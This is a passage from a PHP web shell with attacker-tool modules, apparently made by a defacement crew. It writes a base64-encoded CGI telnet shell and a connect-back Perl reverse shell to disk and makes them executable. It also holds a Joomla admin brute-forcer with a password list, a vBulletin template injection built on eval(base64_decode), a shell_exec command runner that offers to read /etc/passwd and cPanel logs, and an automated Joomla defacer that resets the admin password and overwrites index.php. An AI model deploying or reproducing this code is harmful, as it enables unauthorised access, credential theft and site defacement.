gPSAkaW57J2QnfTsKY2hvcCgkQ3VycmVudERpciA9IGAkQ21kUHdkYCkgaWYoJEN1cnJlbnREaXIgZXEgIiIpOwoKJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOwoKaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pICMgdXNlciBuZWVkcy9oYXMgdG8gbG9naW4KewoJJlBlcmZvcm1Mb2dpbjsKfQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikgIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQKewoJJkV4ZWN1dGVDb21tYW5kOwp9CmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlCnsKCSZVcGxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CgkmRG93bmxvYWRGaWxlOwp9CmVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpICMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0K\';\r\n\r\n$file = fopen("izo.cin" ,"w+");\r\n$write = fwrite ($file ,base64_decode($cgishellizocin));\r\nfclose($file);\r\n    chmod("izo.cin",0755);\r\n$netcatshell = \'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh\r\nMHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog\r\nICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo\r\nMSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg\r\nICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb\r\nMV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb\r\nKl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An\r\nKSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf\r\nSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg\r\nICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF\r\nUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi\r\nVW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu\r\nZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+\r\nJlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl\r\nbihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu\r\nICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE\r\nYXRhY2hlZFxuXG4iOw==\';\r\n\r\n$file = fopen("dc.pl" ,"w+");\r\n$write = fwrite ($file ,base64_decode($netcatshell));\r\nfclose($file);\r\n    chmod("dc.pl",0755);\r\n   echo "<iframe src=cgitelnet1/izo.cin width=96% height=90% frameborder=0></iframe> \r\n\r\n \r\n </div>"; }\r\n//////////////////////////////////////////////////////////////////////////////////////////////\r\n\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'jbrute\')) \r\n{ \r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&amp;x=jbrute" method="post">\r\n\r\n\t<meta name="author" content="RetnOHacK" />\r\n    <meta name="keywords" content="Joomla, Bruter, JoomlaBruter, JoomlaBruterForce, JoomlaBruterForceOnline" />\r\n    <meta name="description" content="RetnOHacK #Procoder\'z Team Albanian" />\r\n<center>\r\n</br></br>\r\n<center><b><font color="lime">+--=[ Joomla Bruter Force ]=--+</font></b><br /><br />\r\n<form method="post" action="" enctype="multipart/form-data"> \r\n<table class="tabnet" width="38%" border="0"><center>\r\n<th colspan="2">Joomla Brute Force</th>\r\n<tr><td><p ><font  class="d1">User :</font></th>\r\n<input class="inputz" type=\'text\' name="usr" value="admin" size="15"> </font></center><br /><br /></p>\r\n</td></tr>\r\n<tr><td><font class="">Sites list :</font> \r\n</td><td><font class="" >Pass list :</font></td></tr>\r\n<tr>\r\n\t\t<td>\r\n<textarea name="sites" style="background:black;" cols="40" rows="13" ></textarea>\r\n</td><td>\r\n<textarea name="w0rds" style="background:black;" cols="40" rows="13" >\r\nadmin\r\n123456\r\npassword\r\n102030\r\n123123\r\n12345\r\n123456789\r\npass\r\ntest\r\nadmin123\r\ndemo\r\n!@#$%^\r\n</textarea>\r\n</td></tr><center><tr><td>\r\n<font > \r\n<input class="inputzbut" type="submit" name="x" value="start" id="d4"> \r\n</font></td></tr><br>\r\ntanks for procoder\'z team albanian<br></center></table>\r\n</form></center>\r\n<? \r\n@set_time_limit(0); \r\n\r\nif($_POST[\'x\']){ \r\n\r\necho "<hr>"; \r\n\r\n$sites = explode("\\n",$_POST["sites"]); // Get Sites \r\n$w0rds = explode("\\n",$_POST["w0rds"]); // Get w0rdLiSt \r\n\r\n$Attack = new Joomla_brute_Force(); // Active Class \r\n\r\n\r\nforeach($w0rds as $pwd){ \r\n\r\nforeach($sites as $site){ \r\n\r\n\r\n$Attack->check_it(txt_cln($site),$_POST[\'usr\'],txt_cln($pwd)); // Brute :D \r\nflush();flush(); \r\n\r\n} \r\n\r\n} \r\n\r\n} \r\n\r\n\r\n# Class & Function\'z \r\n\r\nfunction txt_cln($value){  return str_replace(array("\\n","\\r"),"",$value); } \r\n\r\nclass Joomla_brute_Force{ \r\n\r\npublic function check_it($site,$user,$pass){ // print result \r\n\r\nif(eregi(\'com_config\',$this->post($site,$user,$pass))){ \r\n\r\necho "<span class=\\"x2\\"><b># Success : $user:$pass -> <a href=\'$site/administrator/index.php\'>$site/administrator/index.php</a></b></span><BR>";\r\n$f = fopen("Result.txt","a+"); fwrite($f , "Success ~~ $user:$pass -> $site/administrator/index.php\\n"); fclose($f); \r\nflush(); \r\n}else{ echo "# Failed : $user:$pass -> $site<BR>"; flush();} \r\n\r\n} \r\n\r\npublic function post($site,$user,$pass){ // Post -> user & pass \r\n\r\n$token = $this->extract_token($site); \r\n\r\n$curl=curl_init(); \r\n\r\ncurl_setopt($curl,CURLOPT_RETURNTRANSFER,1); \r\ncurl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php"); \r\n@curl_setopt($curl,CURLOPT_COOKIEFILE,\'cookie.txt\'); \r\n@curl_setopt($curl,CURLOPT_COOKIEJAR,\'cookie.txt\'); \r\ncurl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4\'); \r\n@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1); \r\ncurl_setopt($curl,CURLOPT_POST,1); \r\ncurl_setopt($curl,CURLOPT_POSTFIELDS,\'username=\'.$user.\'&passwd=\'.$pass.\'&lang=en-GB&option=com_login&task=login&\'.$token.\'=1\'); \r\ncurl_setopt($curl,CURLOPT_TIMEOUT,20); \r\n\r\n$exec=curl_exec($curl); \r\ncurl_close($curl); \r\nreturn $exec; \r\n\r\n} \r\n\r\npublic function extract_token($site){ // get token from source for -> function post \r\n\r\n$source = $this->get_source($site); \r\n\r\npreg_match_all("/type=\\"hidden\\" name=\\"([0-9a-f]{32})\\" value=\\"1\\"/si" ,$source,$token); \r\n\r\nreturn $token[1][0]; \r\n\r\n} \r\n\r\npublic function get_source($site){ // get source for -> function extract_token \r\n\r\n$curl=curl_init(); \r\ncurl_setopt($curl,CURLOPT_RETURNTRANSFER,1); \r\ncurl_setopt($curl,CURLOPT_URL,$site."/administrator/index.php"); \r\n@curl_setopt($curl,CURLOPT_COOKIEFILE,\'cookie.txt\'); \r\n@curl_setopt($curl,CURLOPT_COOKIEJAR,\'cookie.txt\'); \r\ncurl_setopt($curl,CURLOPT_USERAGENT,\'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4\'); \r\n@curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1); \r\ncurl_setopt($curl,CURLOPT_TIMEOUT,20); \r\n\r\n$exec=curl_exec($curl); \r\ncurl_close($curl); \r\nreturn $exec; \r\n\r\n} \r\n\r\n} \r\n}\r\n/////////////////////////////////////////////////////////////////////////////////////////////\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'vb\'))\r\n   {\r\n   ?>\r\n   <form action="?y=<?php echo $pwd; ?>&x=vb" method="post">\r\n   <br><br><br><div align="center">\r\n   <H2><span style="font-weight: 400"><font face="Trebuchet MS" size="4">\r\n   <b><font color="#00FF00">+--=[ VB Index Changer ]=--+</font></b>\r\n   </div><br>\r\n   <?\r\n   if(empty($_POST[\'index\'])){\r\n   echo "<center><FORM method=\\"POST\\">";\r\n   echo "<table class=\\"tabnet\\">\r\n<th colspan=\\"2\\">Vb Index Changer</th>\r\n<tr><td>host </td><td><input class=\\"inputz\\" type=\\"text\\" size=\\"60\\" name=\\"localhost\\" value=\\"localhost\\"></td></tr>\r\n<tr><td>database </td><td><input class=\\"inputz\\" type=\\"text\\" size=\\"60\\" name=\\"database\\" value=\\"forum_vb\\"></td></tr>\r\n<tr><td>username </td><td><input class=\\"inputz\\" type=\\"text\\" size=\\"60\\" name=\\"username\\" value=\\"user_vb\\"></td></tr>\r\n<tr><td>password </td><td><input class=\\"inputz\\" type=\\"text\\" size=\\"60\\" name=\\"password\\" value=\\"vb\\"></td></tr>\r\n</tr>\r\n<th colspan=\\"2\\">Your Index Code</th></table><table class=\\"tabnet\\">\r\n<TEXTAREA name=\\"index\\" rows=\\"13\\" style=\\"background:black\\" border=\\"1\\" cols=\\"69\\" name=\\"code\\">your index code</TEXTAREA><br>\r\n<INPUT class=\\"inputzbut\\" type=\\"submit\\" value=\\"setting\\" name=\\"send\\">\r\n</FORM></table></center>";\r\n    }else{\r\n    $localhost = $_POST[\'localhost\'];\r\n    $database = $_POST[\'database\'];\r\n    $username = $_POST[\'username\'];\r\n    $password = $_POST[\'password\'];\r\n    $index = $_POST[\'index\'];\r\n    @mysql_connect($localhost,$username,$password) or die(mysql_error());\r\n    @mysql_select_db($database) or die(mysql_error());\r\n    $index=str_replace("\\\'","\'",$index);\r\n    $set_index = "{\\${eval(base64_decode(\\\'";\r\n    $set_index .= base64_encode("echo \\"$index\\";");\r\n    $set_index .= "\\\'))}}{\\${exit()}}</textarea>";\r\n    echo("UPDATE template SET template =\'".$set_index."\' ") ;\r\n    $ok=@mysql_query("UPDATE template SET template =\'".$set_index."\'") or die(mysql_error());\r\n    if($ok){\r\n    echo "!! update finish !!<br><br>";\r\n    } \r\n  }\r\n}\r\n\r\n//////////////////////////////////////////////////////////////////////////////////////////////\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'bypass\')) \r\n{ \r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&amp;x=bypass" method="post">\r\n\r\n<?php\r\necho "<center/><br/><b><font color=#00ff00>-=[ Command  Bypass Exploit ]=-</font></b><br>\r\n";\r\nprint_r(\'\r\n<pre>\r\n<form method="POST" action="">\r\n<b><font color=#00ff00><b><font color="#00ff00">Command  :=) </font></font></b><input name="baba" type="text" class="inputz" size="34"><input type="submit" class="inputzbut" value="Go">\r\n</form>\r\n<form method="POST" action=""><strong><b><font color="#00ff00">Menu Bypass  :=)  </font></strong><select name="liz0" size="1" class="inputz">\r\n<option value="cat /etc/passwd">/etc/passwd</option>\r\n<option value="netstat -an | grep -i listen">netstat</option>\r\n<option value="cat /var/cpanel/accounting.log">/var/cpanel/accounting.log</option>\r\n<option value="cat /etc/syslog.conf">/etc/syslog.conf</option>\r\n<option value="cat /etc/hosts">/etc/hosts</option>\r\n<option value="cat /etc/named.conf">/etc/named.conf</option>\r\n<option value="cat /etc/httpd/conf/httpd.conf">/etc/httpd/conf/httpd.conf</option>\r\n</select> <input type="submit" class="inputzbut" value="G&ouml;">\r\n</form>\r\n</pre>\r\n\');\r\nini_restore("safe_mode");\r\nini_restore("open_basedir");\r\n$liz0=shell_exec($_POST[baba]); \r\n$liz0zim=shell_exec($_POST[liz0]); \r\n$uid=shell_exec(\'id\');\r\n$server=shell_exec(\'uname -a\');\r\necho "<pre><h4>";\r\n\r\necho $liz0;\r\necho $liz0zim;\r\necho "</h4></pre>";\r\n "</div>"; }\r\n\r\n ///////////////////////////////////////////////////////////////////////////\r\n \r\n elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'jodexer\'))\r\n{\t\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&amp;x=jodexer" method="post">\r\n\r\n<?php\r\n\r\nfunction randomt() {\r\n    \r\n        $chars = "abcdefghijkmnopqrstuvwxyz023456789";\r\n        srand((double)microtime()*1000000);\r\n        $i = 0;\r\n        $pass = \'\' ;\r\n    \r\n        while ($i <= 7) {\r\n            $num = rand() % 33;\r\n            $tmp = substr($chars, $num, 1);\r\n            $pass = $pass . $tmp;\r\n            $i++;\r\n        }\r\n    \r\n        return $pass;\r\n    \r\n    }\r\n    function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)\r\n    {\r\n    $ar0=explode($marqueurDebutLien, $text);\r\n    $ar1=explode($marqueurFinLien, $ar0[$i]);\r\n    $ar=trim($ar1[0]);\r\n    return $ar;\r\n    }\r\n    if ($_POST[\'form_action\'])\r\n    {\r\n    \r\n    $text=file_get_contents($_POST[\'file\']);\r\n    $username=entre2v2($text,"public $user = \'","\';");\r\n    $password=entre2v2($text,"public $password = \', \'","\';");\r\n    $dbname=entre2v2($text,"public $db = \', \'","\';");\r\n    $dbprefix=entre2v2($text,"public $dbprefix = \'","\';");\r\n    $site_url=($_POST[\'site_url\']);\r\n    \r\n    $h="<? echo(stripslashes(base64_decode(\'".urlencode(base64_encode(str_replace("\'","\'",($_POST[\'code\']))))."\'))); exit; ?>";\r\n    \r\n    $co=randomt();  \r\n      /*\r\n    echo($username);\r\n    echo("<br>");\r\n    echo($password);\r\n    echo("<br>");\r\n    echo($dbname);\r\n    echo("<br>");\r\n    echo($dbprefix);\r\n    echo("<br>");\r\n    */\r\n    $co=randomt();\r\n    \r\n    if ($_POST[\'form_action\'])\r\n    {\r\n    $h="<? echo(stripslashes(base64_decode(\'".urlencode(base64_encode(str_replace("\'","\'",($_POST[\'code\']))))."\'))); exit; ?>";\r\n    \r\n    \r\n    \r\n    \r\n    \r\n          $link=mysql_connect("dzoed.druknet.bt",$username,$password) ;\r\n    \r\n             mysql_select_db($dbname,$link) ;\r\n    \r\n    $tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username =\'admin\' , password = \'2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX\'");\r\n    echo("<br>[+] Changing admin password to 123456789");  \r\n                    \r\n                     $req =mysql_query("SELECT * from  `".$dbprefix."extensions` ");\r\n                    \r\n    if ( $req )\r\n    {\r\n    #################################################################\r\n    ######################        V1.6         ######################\r\n    #################################################################\r\n    \r\n                  \r\n    $req =mysql_query("SELECT * from  `".$dbprefix."template_styles` WHERE client_id=\'0\' and home=\'1\'");\r\n             $data = mysql_fetch_array($req);\r\n    $template_name=$data["template"];\r\n    \r\n    $req =mysql_query("SELECT * from  `".$dbprefix."extensions` WHERE name=\'".$template_name."\'");\r\n             $data = mysql_fetch_array($req);\r\n    $template_id=$data["extension_id"];\r\n    \r\n    $url2=$site_url."/index.php";\r\n    \r\n    $ch = curl_init();\r\n    curl_setopt($ch, CURLOPT_URL, $url2);\r\n    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\r\n    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);\r\n    curl_setopt($ch, CURLOPT_HEADER, 1);\r\n    curl_setopt($ch, CURLOPT_USERAGENT, $useragent);\r\n        curl_setopt($ch, CURLOPT_COOKIEJAR, $co);\r\n        curl_setopt($ch, CURLOPT_COOKIEFILE, $co);\r\n    \r\n    \r\n    $buffer = curl_exec($ch);\r\n    \r\n    $return=entre2v2($buffer ,\'<input type="hidden" name="return" value="\',\'"\');\r\n    $hidden=entre2v2($buffer ,\'<input type="hidden" name="\',\'" value="1"\',4);\r\n    \r\n    ///////////////////////////\r\n    $url2=$site_url."/index.php";\r\n    $ch = curl_init();\r\n    curl_setopt($ch, CURLOPT_URL, $url2);\r\n    curl_setopt($ch, CURLOPT_POST, 1);\r\n    curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");\r\n    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\r\n    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);\r\n    curl_setopt($ch, CURLOPT_HEADER, 0);\r\n    curl_setopt($ch, CURLOPT_USERAGENT, $useragent);\r\n    curl_setopt($ch, CURLOPT_COOKIEJAR, $co);\r\n    curl_setopt($ch, CURLOPT_COOKIEFILE, $co);\r\n    $buffer = curl_exec($ch);\r\n    \r\n    $pos = strpos($buffer,"com_config");\r\n    if($pos === false) {\r\n    echo("<br>[-] Login Error");\r\n    exit;\r\n    }\r\n    else {\r\n    echo("<br>[~] Login Successful");\r\n    }\r\n    ///////////////////////////\r\n    $url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");\r\n    $ch = curl_init();\r\n    curl_setopt($ch, CURLOPT_URL, $url2);\r\n    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\r\n    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);\r\n    curl_setopt($ch, CURLOPT_HEADER, 0);\r\n    curl_setopt($ch, CURLOPT_USERAGENT, $useragent);\r\n    curl_setopt($ch, CURLOPT_COOKIEJAR, $co);\r\n    curl_setopt($ch, CURLOPT_COOKIEFILE, $co);\r\n    $buffer = curl_exec($ch);\r\n    \r\n    $hidden2=entre2v2($buffer ,\'<input type="hidden" name="\',\'" value="1"\',2);\r\n    if($hidden2) {\r\n    echo("<br>[+] index.php file founded in Theme Editor");\r\n    }\r\n    else {\r\n    echo("<br>[-] index.php Not found in Theme Editor");\r\n    exit;\r\n    }\r\n    echo("<br>[*] Updating Index.php .....");\r\n    $url2=$site_url."/index.php?option=com_templates&layout=edit";\r\n    \r\n    $ch = curl_init();\r\n    curl_setopt($ch, CURLOPT_URL, $url2);\r\n    curl_setopt($ch, CURLOPT_POST, 1);\r\n    curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");\r\n    \r\n    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\r\n    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);\r\n    curl_setopt($ch, CURLOPT_HEADER, 0);\r\n    curl_setopt($ch, CURLOPT_USERAGENT, $useragent);\r\n    curl_setopt($ch, CURLOPT_COOKIEJAR, $co);\r\n    curl_setopt($ch, CURLOPT_COOKIEFILE, $co);\r\n    $buffer = curl_exec($ch);\r\n    \r\n    $pos = strpos($buffer,\'<dd class="message message">\');\r\n    if($pos === false) {\r\n    echo("<br>[-] Updating Index.php Error");\r\n    exit;\r\n    }\r\n    else {\r\n    echo("<br>[~] index.php successfully saved");\r\n    }\r\n    #################################################################\r\n    ######################      V1.6  END      ######################\r\n    #################################################################\r\n    \r\n    \r\n    }\r\n    else\r\n    {\r\n    \r\n    #################################################################\r\n    ######################      V1.5           ######################\r\n    #################################################################\r\n                    \r\n    $req =mysql_query("SELECT * from  `".$dbprefix."templates_menu` WHERE client_id=\'0\'");\r\n             $data = mysql_fetch_array($req);\r\n    $template_name=$data["template"];\r\n    \r\n    $url2=$site_url."/index.php";\r\n    $ch = curl_init();\r\n    curl_setopt($ch, CURLOPT_URL, $url2);\r\n    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\r\n    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);\r\n    curl_setopt($ch, CURLOPT_HEADER, 1);\r\n    curl_setopt($ch, CURLOPT_USERAGENT, $useragent);\r\n        curl_setopt($ch, CURLOPT_COOKIEJAR, $co);\r\n        curl_setopt($ch, CURLOPT_COOKIEFILE, $co);\r\n    $buffer = curl_exec($ch);\r\n    \r\n    $hidden=entre2v2($buffer ,\'<input type="hidden" name="\',\'" value="1"\',3);\r\n    \r\n    $url2=$site_url."/index.php";\r\n    $ch = curl_init();\r\n    curl_setopt($ch, CURLOPT_URL, $url2);\r\n    curl_setopt($ch, CURLOPT_POST, 1);\r\n    curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");\r\n    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\r\n    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);\r\n    curl_setopt($ch, CURLOPT_HEADER, 0);\r\n    curl_setopt($ch, CURLOPT_USERAGENT, $useragent);\r\n    curl_setopt($ch, CURLOPT_COOKIEJAR, $co);\r\n    curl_setopt($ch, CURLOPT_COOKIEFILE, $co);\r\n    $buffer = curl_exec($ch);\r\n    \r\n    $pos = strpos($buffer,"com_config");\r\n    \r\n    if($pos === false) {\r\n    echo("<br>[-] Login Error");\r\n    exit;\r\n    }\r\n    else {\r\n    echo("<br>[+] Login Successful");\r\n    }\r\n    ///////////////////////////\r\n    $url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;\r\n    $ch = curl_init();\r\n    curl_setopt($ch, CURLOPT_URL, $url2);\r\n    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\r\n    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);\r\n    curl_setopt($ch, CURLOPT_HEADER, 0);\r\n    curl_setopt($ch, CURLOPT_USERAGENT, $useragent);\r\n        curl_setopt($ch, CURLOPT_COOKIEJAR, $co);\r\n        curl_setopt($ch, CURLOPT_COOKIEFILE, $co);\r\n    $buffer = curl_exec($ch);\r\n    \r\n    $hidden2=entre2v2($buffer ,\'<input type="hidden" name="\',\'" value="1"\',6);\r\n    \r\n    if($hidden2) {\r\n    echo("<br>[~] index.php file founded in Theme Editor");\r\n    }\r\n    else {\r\n    echo("<br>[-] index.php Not found in Theme Editor");\r\n    }\r\n    \r\n    echo("<br>[*] Updating Index.php .....");\r\n    $url2=$site_url."/index.php?option=com_templates&layout=edit";\r\n    $ch = curl_init();\r\n    curl_setopt($ch, CURLOPT_URL, $url2);\r\n    curl_setopt($ch, CURLOPT_POST, 1);\r\n    curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");\r\n    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\r\n    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);\r\n    curl_setopt($ch, CURLOPT_HEADER, 0);\r\n    curl_setopt($ch, CURLOPT_USERAGENT, $useragent);\r\n        curl_setopt($ch, CURLOPT_COOKIEJAR, $co);\r\n        curl_setopt($ch, CURLOPT_COOKIEFILE, $co);\r\n    $buffer = curl_exec($ch);\r\n    \r\n    $pos = strpos($buffer,\'<dd class="message message fade">\');\r\n    if($pos === false) {\r\n    echo("<br>[-] Updating Index.php Error");\r\n    exit;\r\n    }\r\n    else {\r\n    echo("<br>[~] index.php successfully saved");\r\n    }\r\n    #################################################################\r\n    ######################      V1.5  END      ######################\r\n    #################################################################\r\n    \r\n    }\r\n    \r\n    }\r\n    \r\n    \r\n    function randomt() {\r\n    \r\n        $chars = "abcdefghijkmnopqrstuvwxyz023456789";\r\n        srand((double)microtime()*1000000);\r\n        $i = 0;\r\n        $pass = \'\' ;\r\n    \r\n        while ($i <= 7) {\r\n            $num = rand() % 33;\r\n            $tmp = substr($chars, $num, 1);\r\n            $pass = $pass . $tmp;\r\n            $i++;\r\n        }\r\n    \r\n        return $pass;\r\n    \r\n    }\r\n    \r\n    function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)\r\n    \r\n    {\r\n    \r\n    $ar0=explode($marqueurDebutLien, $text);\r\n    $ar1=explode($marqueurFinLien, $ar0[$i]);\r\n    $ar=trim($ar1[0]);\r\n    return $ar;\r\n    }\r\n    \r\n    }?>\r\n    <center><br><br>\r\n    <font color="#00ff00" size=\'+3\'><b>+--=[ Automatic Joomla Index Changer ]=--+</b></font><br><br>\r\n    </center>\r\n    <center><b>\r\n    Link of symlink configuration.php of Joomla<br></b>\r\n    <FORM action=""  method="post">\r\n    <input type="hidden" name="form_action" value="1">\r\n     <input type="text" class="inputz" size="60" name="file" value="http://site.com/sym/home/user/public_html/configuration.php">\r\n    <br>\r\n    <br><b>\r\n    Admin Control panel url</b><br>\r\n    <input type="text" class="inputz" size="40" name="site_url" value="http://site/administrator"><br>\r\n    <br><b>\r\n    Your Index Code</b>\r\n    <br>\r\n    <TEXTAREA rows="20" align="center" style="background:black" cols="120" name="code"> your index code\r\n            </TEXTAREA>\r\n            <br>\r\n    <INPUT  class="inputzbut" type="submit" value="Lets Go Deface !!!" name="Submit">\r\n    </FORM>\r\n     </center>\r\n    <script language=JavaScript>m=\'%09%09%09%09%09%09%09%3C/td%3E%0A%09%09%09%09%09%09%3C/tr%3E%0A%09%09%09%09%09%3C/table%3E%0A%09%09%09%09%3C/td%3E%0A%3C/html%3E\';d=unescape(m);document.write(d);</script>\r\n\t<?php\r\n}\r\n ///////////////////////////////////////////////////////////////////////////\r\n \r\n elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'cgi2012\')) { \r\n echo "<center/><br/><b>\r\n +--==[ CGI-Telnet Version 1.3 ]==--+ \r\n </b><br><br>";\r\n \r\n \r\n    mkdir(\'cgi2012\', 0755);\r\n    chdir(\'cgi2012\');\r\n        $kokdosya = ".htaccess";\r\n        $dosya_adi = "$kokdosya";\r\n        $dosya = fopen ($dosya_adi , \'w\') or die ("Dosya a&#231;&#305;lamad&#305;!");\r\n        $metin = "AddHandler cgi-script .izo";    \r\n        fwrite ( $dosya , $metin ) ;\r\n        fclose ($dosya);\r\n$cgi2012 = \'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuMyI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+YjM3NGsgLSBDR0ktVGVsbmV0PC9mb250PiI7CgokUGFzc3dvcmQgPSAiYmFuZHVuZ2tvdGFzYW1wYWgiOwkJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4Kc3ViIElzX1dpbigpewoJJG9zID0gJnRyaW0oJEVOVnsiU0VSVkVSX1NPRlRXQVJFIn0pOwoJaWYoJG9zID1+IG0vd2luL2kpewoJCXJldHVybiAxOwoJfQoJZWxzZXsKCQlyZXR1cm4gMDsKCX0KfQokV2luTlQgPSAmSXNfV2luKCk7CQkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYKCQkJCQkJCQkjIHlvdSdyZSBydW5uaW5nIHRoaXMgc2NyaXB0IG9uIGEgV2luZG93cyBOVAoJCQkJCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLgoKJE5UQ21kU2VwID0gIiYiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gV2luZG93cyBOVC4KCiRVbml4Q21kU2VwID0gIjsiOwkJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJCQkJCSMgaW4gYSBjb21tYW5kIGxpbmUgb24gVW5peC4KCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTAwMDA7CSMgVGltZSBpbiBzZWNvbmRzIGFmdGVyIGNvbW1hbmRzIHdpbGwgYmUga2lsbGVkCgkJCQkJCQk